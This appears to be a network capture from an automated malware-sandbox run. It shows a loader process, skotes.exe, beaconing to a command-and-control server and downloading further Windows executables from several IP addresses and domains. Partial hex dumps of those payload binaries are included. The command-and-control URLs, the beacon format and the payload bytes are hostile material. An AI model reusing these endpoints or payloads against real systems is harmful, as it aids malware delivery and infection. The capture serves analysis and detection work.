Nov 21, 2024 03:09:10.375828028 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:09:10 GMT Content-Type: application/octet-stream Content-Length: 4366848 Last-Modified: Thu, 21 Nov 2024 01:24:03 GMT Connection: keep-alive ETag: "673e8bb3-42a200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 80 c3 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 c3 00 00 04 00 00 a3 d0 42 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 6d c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 6d c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@B@ _qsdmm px'@.rsrc p'@.idata q'@ p7q'@ezbvjsfb'@cmymopndpzB@.taggant0"B@
Nov 21, 2024 03:09:10.375896931 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:09:10.375956059 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:09:10.376029968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 21, 2024 03:09:10.376066923 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: C_*3.I5EsT
Nov 21, 2024 03:09:10.376104116 CET	448	IN	Data Raw: 17 5c e2 0f 4d 8f 24 1d 1b d3 1a c9 0c 5b 3c 56 e2 5d 5a 4d 23 23 e3 eb 09 1f bf 25 eb 14 b3 bd 06 18 6c 21 45 4c 30 96 18 95 8d b5 40 12 e8 1b b6 f6 20 86 ad 5f 79 53 30 28 f3 1e 69 9b 49 e2 61 2b 05 50 21 15 b4 b3 87 44 45 88 12 fd 6e 08 3b d5 Data Ascii: \M$[<V]ZM##%l!EL0@ _yS0(iIa+P!DEn;T\|hr\NAm6N6+BTDa{{Sz~5nUg_B7$23Y?lZZ7t\DKQ-bY.K/mg1s~li;J3,H}(D:wW#kF
Nov 21, 2024 03:09:10.376138926 CET	1236	IN	Data Raw: 2a 4e bc df b7 5d 7a 5a 5f 96 0f c0 9a 5e 03 75 b8 db 94 dd 9e 0a 95 36 af 5f 40 b1 ae 0e 2f 5e ed df b1 f7 f7 74 c1 28 ec 0f d3 9d 5d 00 b1 bb c8 f0 b2 92 97 ab 8a 6d 1b 38 43 7d 6f 8f ee a1 51 d5 11 88 50 1e 97 85 d3 70 5f 44 0b be 32 66 d7 7b Data Ascii: *N]zZ_^u6_@/^t(]m8C}oQPp_D2f{Vg(UQT6BRv<mpW7NO@=V{U7;kXT(z+Qk=2L}zh=-j0(gkpoER
Nov 21, 2024 03:09:10.376173973 CET	1236	IN	Data Raw: cc 8f 98 d4 80 d4 34 d4 ba 7b 06 29 ef f2 77 35 2a 6b 0a dc b7 4f 8e c9 2c 9a 4b 8a 32 60 73 35 ef 46 bd 97 34 90 81 02 e2 03 7a 5a db 7f 74 c2 23 7d b3 05 02 88 6b ce d1 7f 4b b9 7b 68 53 2e c4 13 88 34 f5 a0 b7 16 ef cf 53 f2 1b 46 84 f9 20 71 Data Ascii: 4{)w5*kO,K2`s5F4zZt#}kK{hS.4SF q&^FZgdi_M(%3<@/n=%72Y2FlR+Ud%&3bDo[r2&.<K0 tEI-7n(?-.dl#w-
Nov 21, 2024 03:09:10.376207113 CET	448	IN	Data Raw: dd cb d3 6c e8 5a 33 ba 1a 18 d7 a9 e9 04 49 d6 1e 41 bd 7a 0f 75 bd cc 36 b4 b7 d5 50 0f db bc 19 20 6a 0c 15 ba a2 12 b9 9d ff 99 7f b6 ba 8b 77 a1 bb f3 72 48 f0 86 da ab 12 90 ff 3f b6 1b fa 6b b8 94 6f e1 d2 fc 69 27 52 4e a8 35 e5 7d 92 a5 Data Ascii: lZ3IAzu6P jwrH?koi'RN5}Bt;fJGbm bZgzEdcpaWxx}-GxT@3yTpZo+ 6XBilsJY9)Y;$*Z.ofUyhSY{Z
Nov 21, 2024 03:09:10.376260996 CET	1236	IN	Data Raw: 1d f0 53 87 09 ed 68 c4 50 53 84 1e a7 15 33 e9 90 4b 6d 6f ef b9 98 9a e2 0f 7b 45 cb 84 dc 06 ad 6e 3c d2 3d 0a c3 cd 36 6f c4 ef 61 2d 3e 8b 73 cc fe 98 75 d7 7b c5 20 13 03 1b e5 53 0a a9 d6 74 46 8e ed 9e 5e 4a b9 78 dc 72 ef 5a 2d fc 4f 3b Data Ascii: ShPS3Kmo{En<=6oa->su{ StF^JxrZ-O;%t\|F qxfrkr{_XBRa3x!t]Qq<\|Ul38"dgKo>$B]P;!7~H@#W9m4o6"C
Nov 21, 2024 03:09:10.496918917 CET	1236	IN	Data Raw: 64 53 31 88 50 e9 6f b5 d5 7d 92 15 bd 97 54 23 7d b2 47 ed ed 70 be da 9e 1b bb dc 0c 59 3f 99 34 d5 64 8e 71 02 2b 29 8d c3 8f 9b 69 e0 c6 81 b2 77 c2 ab e0 76 0f ae d6 a8 bf 85 f2 2b bb db da 60 8e 61 ee 14 62 82 25 95 01 87 36 73 62 88 e2 a8 Data Ascii: dS1Po}T#}GpY?4dq+)iwv+`ab%6sb6WKej3;Ywp~GV#d-^_JdTxwGL_#K:o^exR6Ue{^_AC] gfhcW-mLo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49840	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:09:19.878031015 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 38 31 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007819001&unit=246122658369
Nov 21, 2024 03:09:21.282516003 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:09:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49841	34.116.198.130	80	1272	C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:09:20.019932032 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 21, 2024 03:09:21.436117887 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Thu, 21 Nov 2024 02:09:21 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 21, 2024 03:09:21.436137915 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 21, 2024 03:09:21.436155081 CET	1236	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 21, 2024 03:09:21.436171055 CET	1236	IN	Data Raw: 52 23 c5 90 d5 ff 98 77 06 c3 aa 7f 85 27 36 0c 3d 95 5d f4 72 4e 81 4b 66 ae 6d 23 f3 44 c6 b9 51 f6 7b 5b 38 44 ca f3 b2 7c cf 81 a7 28 04 b5 36 b4 fb 4f 20 f4 f8 c4 28 41 7e c3 7e 89 b0 03 17 ce b1 07 49 cd b1 88 29 27 55 18 25 6f 10 b0 06 82 Data Ascii: R#w'6=]rNKfm#DQ{[8D\|(6O (A~~I)'U%o%.8]<4428@9]VGi&3'/SvepiD`)fhOOu;{ad=E/Z7h(}ZD0EZE_EP=5>J5B
Nov 21, 2024 03:09:21.436187029 CET	736	IN	Data Raw: b4 45 24 ec 90 ce f6 4a 8d 7e de e4 f7 04 5c 67 ac 49 96 a0 e7 1e 40 e5 6a ed c8 51 ae 18 59 a3 63 5e 96 33 7e 7e d0 7f cd 58 b9 bc 51 ce 04 fd 4c a7 a2 7d 5c 30 c0 d4 4a 5f 97 df c2 80 8a 66 fd 5e 54 12 cd e9 3c 3d e5 9b 7f 7c 7e 3b 28 bf 33 eb Data Ascii: E$J~\gI@jQYc^3~~XQL}\0J_f^T<=\|~;(3w;b+NcHfD-O~sHC_a6&}}4cP9Ap&tTu:#?b)}St[I)~^TTPYT0cQY0>~a0(V
Nov 21, 2024 03:09:21.438802004 CET	1236	IN	Data Raw: b7 6f 78 2f 72 9a f8 71 ee 3e 4d ec cd e0 d6 39 1b 0b f8 cc 7b 0a 55 40 86 a4 38 5e 83 b5 fc e0 93 ab 8f 79 ff 2c ea 7f fb f5 e0 1c 04 c9 78 b4 a0 79 3e 8c 6f 69 95 1c c9 72 b5 b0 e6 fb 54 c9 c0 3c 1a e1 a6 31 d1 0f 6c 0f 0f 85 ac e2 b0 b2 c7 c3 Data Ascii: ox/rq>M9{U@8^y,xy>oirT<1lV{\|g9wy(`}Dc}:&4(;'"1kzZpZ97~}<m{)F)O^Rh0r2^5n-h!`/=F:3V $?`S8PV(H0G
Nov 21, 2024 03:09:21.438817024 CET	224	IN	Data Raw: 57 2c 20 61 54 7a b6 2c 68 3b 66 61 73 1c 1d e2 eb 23 01 c0 46 a0 c6 87 aa 95 40 ad 7b 08 bb 48 0d 79 be 2c f9 13 49 ba 00 72 3e f6 f7 54 25 f7 1d c0 95 14 90 7f 7d 58 7c 28 e3 12 6d ed 4d ed 8f 3a b7 07 70 d4 c0 68 0f c2 e9 27 a1 ad 3b 66 f8 e6 Data Ascii: W, aTz,h;fas#F@{Hy,Ir>T%}X\|(mM:ph';fv6 6N5t]S\|.<aoYRBb7VgfLh08uW_<u[:kh##2%dK5##uJ4Bn_~l(N~vZ
Nov 21, 2024 03:09:21.438832045 CET	1236	IN	Data Raw: d7 5c 83 e7 00 c3 dd f6 20 60 84 bf 40 4b 30 61 da f3 7a b6 aa 52 19 74 e1 50 44 7b 25 98 89 7b fc ad 61 fe 29 30 70 93 1e 44 fe 30 6f 10 c4 df c3 37 92 a1 69 5b ad 77 27 ef 41 8a 72 59 4b 2c cb db 72 0c b4 21 95 9a 1e 28 6d 78 22 04 19 66 fc 59 Data Ascii: \ `@K0azRtPD{%{a)0pD0o7i[w'ArYK,r!(mx"fY+cRu{.%o49`e\|WlI#](&}/\|vH3gpJ2IC}kS zH 6M-'}C\|L'd)F{b-bS8V~'~W#}O:
Nov 21, 2024 03:09:21.438848019 CET	1236	IN	Data Raw: 12 0d 34 2e 75 81 78 6d 02 a4 c4 8e b4 09 73 e1 93 44 8a 99 01 70 1e 8b 5e 1c 55 82 ba fe 09 b6 a6 5a a8 a5 14 4e ea db cf 27 9e 21 4c 6a b7 fe 69 28 56 ee ea e9 c6 ea b1 d6 a3 f8 83 c2 2e 0a fa 0a e0 07 c1 47 38 15 4f 1f 60 e4 61 f6 d9 93 96 26 Data Ascii: 4.uxmsDp^UZN'!Lji(V.G8O`a&i@kQr' V:Jb7;>:%B$'SRO1a=uH~@z4=Uny1'-s^b=}9$j5g)}:3)rC9;xz
Nov 21, 2024 03:09:21.438863039 CET	1236	IN	Data Raw: 41 e6 bb 74 5c f4 40 f0 ea c8 95 dc fe 60 16 0f 78 d7 a0 bf 55 46 df 1f a5 fc a6 a2 0f 7a a2 b4 8f e2 1a db da 83 a9 f8 4d c9 65 cf c2 c5 c6 04 80 9e 03 9a 15 28 43 df a9 2d 19 8e 2d 3a 8a 9d 31 c8 7d 91 bb 5c 97 e5 82 2a 19 a3 ef 92 7f aa 8f fb Data Ascii: At\@`xUFzMe(C--:1}\*q(MZ7vki/1\|<GTrL->}z8@I?chO/M'}:xUWJ#%A"Z2179x7X)\|3.WS1
Nov 21, 2024 03:09:21.556338072 CET	1236	IN	Data Raw: 97 78 de de aa 3b af 14 bb b7 fb 46 63 b6 8c e7 cd a8 51 b1 2c c0 9d 5e ef 49 38 c4 26 79 4c 60 ae 0b 4b 43 a9 03 7b cb db f3 74 8d 23 e4 5e 3c ad c0 e0 1c c6 76 07 6d 85 d5 24 94 a7 bc 4d b3 e6 50 1b 45 17 0d cc 8d a0 b1 4b 92 ff c7 35 cb 35 98 Data Ascii: x;FcQ,^I8&yL`KC{t#^<vm$MPEK55I/Z\A[K6w]}#>[Q6_XlgC3(O88=bp^kpH&20#SNRxs;*#kC7!OL8N4xRiV53

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49842	154.216.20.78	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:09:21.406109095 CET	55	OUT	GET /x/SillyShelf.exe HTTP/1.1 Host: 154.216.20.78
Nov 21, 2024 03:09:22.753927946 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:09:22 GMT Server: Apache/2.4.29 (Ubuntu) Last-Modified: Thu, 21 Nov 2024 01:55:42 GMT ETag: "1b009e-6276290626383" Accept-Ranges: bytes Content-Length: 1769630 Content-Type: application/x-msdos-program Data Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 54 b8 c4 4f 00 00 00 00 00 00 00 00 e0 00 8f 81 0b 01 02 19 00 50 01 00 00 d2 00 00 00 00 00 00 78 64 01 00 00 10 00 00 00 70 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 d0 [TRUNCATED] Data Ascii: MZP@!L!This program must be run under Win32$7PELTOPxdp@@PL.textCD `.itext`H `.datapT@.bssLWb.idatab@.tlsr.rdatar@@.rsrct@@&@@
Nov 21, 2024 03:09:22.753967047 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 10 40 00 02 08 41 6e 73 69 43 68 61 72 01 00 00 00 00 ff 00 00 00 90 1c 10 40 00 12 06 73 74 72 69 6e 67 28 10 40 00 Data Ascii: @AnsiChar@string(@AnsiString@
Nov 21, 2024 03:09:22.754082918 CET	1236	IN	Data Raw: 00 00 00 00 00 00 90 10 40 00 08 00 00 00 00 00 00 00 70 39 40 00 78 39 40 00 c4 3a 40 00 bc 3a 40 00 dc 3a 40 00 e0 3a 40 00 e4 3a 40 00 d8 3a 40 00 4c 38 40 00 68 38 40 00 a4 38 40 00 07 54 4f 62 6a 65 63 74 9c 10 40 00 07 07 54 4f 62 6a 65 63 Data Ascii: @p9@x9@:@:@:@:@:@:@L8@h8@8@TObject@TObject@System%A%A%A%A%A%A%\|A%A%xA%A%A%A%A%A%A%A%A%A
Nov 21, 2024 03:09:22.754120111 CET	1236	IN	Data Raw: b8 fe ff ff ff 89 d1 d3 c0 21 05 40 8a 41 00 c3 8b c0 81 ea 30 0b 00 00 c1 ea 08 81 ea ff 03 00 00 19 c9 21 ca 81 c2 ff 03 00 00 8d 0c d5 c4 8a 41 00 8b 51 04 39 ca 89 08 89 50 04 89 02 89 41 04 74 03 c3 90 90 81 e9 c4 8a 41 00 89 ca c1 e9 03 0f Data Ascii: !@A0!AQ9PAtADA@A=<Au8A@u%H<A)JHT0g#P0r8A#P<A)Sjhhj
Nov 21, 2024 03:09:22.754138947 CET	1236	IN	Data Raw: 00 00 f0 0f b0 25 34 8a 41 00 74 2a f3 90 80 3d d5 88 41 00 00 75 e6 6a 00 e8 04 f8 ff ff b8 00 01 00 00 f0 0f b0 25 34 8a 41 00 74 09 6a 0a e8 ee f7 ff ff eb c7 0f be 73 01 23 35 40 8a 41 00 74 70 0f bc c6 8d 34 c5 00 00 00 00 8b 0c 85 44 8a 41 Data Ascii: %4At*=Auj%4Atjs#5@Atp4DA<AwVW:9u!DAu@A#~`rl{)7JHTUK=<A9r&58AK09r))=<A58A!C
Nov 21, 2024 03:09:22.754213095 CET	1236	IN	Data Raw: d9 89 c2 89 c3 89 f0 e8 02 f6 ff ff 89 f0 e8 bb fd ff ff 89 d8 5e 5b c3 90 90 8d 4c 09 20 57 89 d7 31 c0 29 d1 83 d0 ff 21 c8 01 d0 e8 19 fa ff ff 85 c0 74 24 81 ff 2c 0a 04 00 76 03 89 78 f8 0f b7 4b 02 83 e9 04 89 c2 89 c7 89 f0 ff 53 1c 89 f0 Data Ascii: ^[L W1)!t$,vxKSw_^[gW<9U,9r]_^[,s,9v0)=MAtF%4At/=AuQjdY
Nov 21, 2024 03:09:22.754230022 CET	1236	IN	Data Raw: 8b d3 8b ce e8 31 0c 00 00 8b c3 03 c6 5e 5b c3 8b c0 53 8b da 85 c0 74 12 83 c0 c8 8b 00 0f b6 08 40 8b d3 e8 d1 ff ff ff 5b c3 a1 50 70 41 00 e8 e9 26 00 00 8b c8 8b d3 a1 50 70 41 00 e8 b7 ff ff ff 5b c3 90 55 8b ec 53 8b d0 81 fa ff ff 00 00 Data Ascii: 1^[St@[PpA&PpA[USvhucUR;w]]S;sU3JjURPjExrExuE@tE@t3[]3[]USVW}eEPdYtREPQ
Nov 21, 2024 03:09:22.754245996 CET	1236	IN	Data Raw: 89 b5 ec 47 fe ff 8b c3 e8 3d fd ff ff 84 c0 75 20 c6 85 ff 47 fe ff 00 8b 85 f8 47 fe ff 8b 95 ec 47 fe ff 89 94 85 dc 07 fe ff ff 85 f8 47 fe ff 8b c3 e8 32 f9 ff ff 8b d8 85 db 75 8e 8b 7f 04 81 ff 24 8a 41 00 0f 85 72 ff ff ff 8b 1d cc aa 41 Data Ascii: G=u GGGG2u$ArA7u&GsGG[AtG\|GG3G@pA!@pANG7GfpAO
Nov 21, 2024 03:09:22.754273891 CET	1236	IN	Data Raw: ff 8b fd 3b fb 75 ea ba 37 00 00 00 b8 64 70 41 00 8b c8 89 48 14 8b c8 89 48 04 c7 40 08 01 00 00 00 33 c9 89 48 0c 83 c0 20 4a 75 e4 89 1b 89 5b 04 ba 00 04 00 00 b9 c4 8a 41 00 8b c1 89 00 89 40 04 83 c1 08 4a 75 f3 8b 5e 04 eb 12 8b 7b 04 68 Data Ascii: ;u7dpAHH@3H Ju[A@Ju^{hjSl;u6v]_^[=AtAP3A=At=AthjAP3A @tPwAt]~DwAtE1
Nov 21, 2024 03:09:22.754292011 CET	1236	IN	Data Raw: 38 83 c0 08 83 c2 08 4e 75 e2 eb 06 83 c0 04 83 c2 04 5e 83 e6 03 74 36 8a 08 3a 0a 75 30 4e 74 13 8a 48 01 3a 4a 01 75 25 4e 74 08 8a 48 02 3a 4a 02 75 1a 31 c0 5e 5b c3 5e 38 d9 75 10 38 fd 75 0c c1 e9 10 c1 eb 10 38 d9 75 02 38 fd 5e 5b c3 90 Data Ascii: 8Nu^t6:u0NtH:Ju%NtH:Ju1^[^8u8u8u8^[ \|?ffHfHfHT)T\|~PLU3@fHfHfHfHfHfHfHfHfHfHfHfHfHfHfSVW
Nov 21, 2024 03:09:22.873624086 CET	1236	IN	Data Raw: 59 d5 6e 62 11 35 ae ca 7b c3 ff 25 70 e3 41 00 8b c0 53 33 db 6a 00 e8 ee ff ff ff 83 f8 07 75 1c 6a 01 e8 e2 ff ff ff 25 00 ff 00 00 3d 00 0d 00 00 74 07 3d 00 04 00 00 75 02 b3 01 8b c3 5b c3 90 55 8b ec 83 c4 f4 0f b7 05 24 70 41 00 89 45 f8 Data Ascii: Ynb5{%pAS3juj%=t=u[U$pAEEPjjh7@h%uM3Uh7@d0d EEPEPjjh8@EP3ZYYdh7@EP&$pAf%Uf?ff$pA]SOFTWARE\Borl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49860	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:09:28.345396042 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 38 32 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007820001&unit=246122658369
Nov 21, 2024 03:09:29.751890898 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:09:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49864	185.215.113.16	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:09:30.368755102 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 21, 2024 03:09:31.592938900 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:09:31 GMT Content-Type: application/octet-stream Content-Length: 1864704 Last-Modified: Thu, 21 Nov 2024 02:02:14 GMT Connection: keep-alive ETag: "673e94a6-1c7400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 be 00 00 00 00 00 00 00 00 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 30 4a 00 00 04 00 00 0e fa 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 60 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 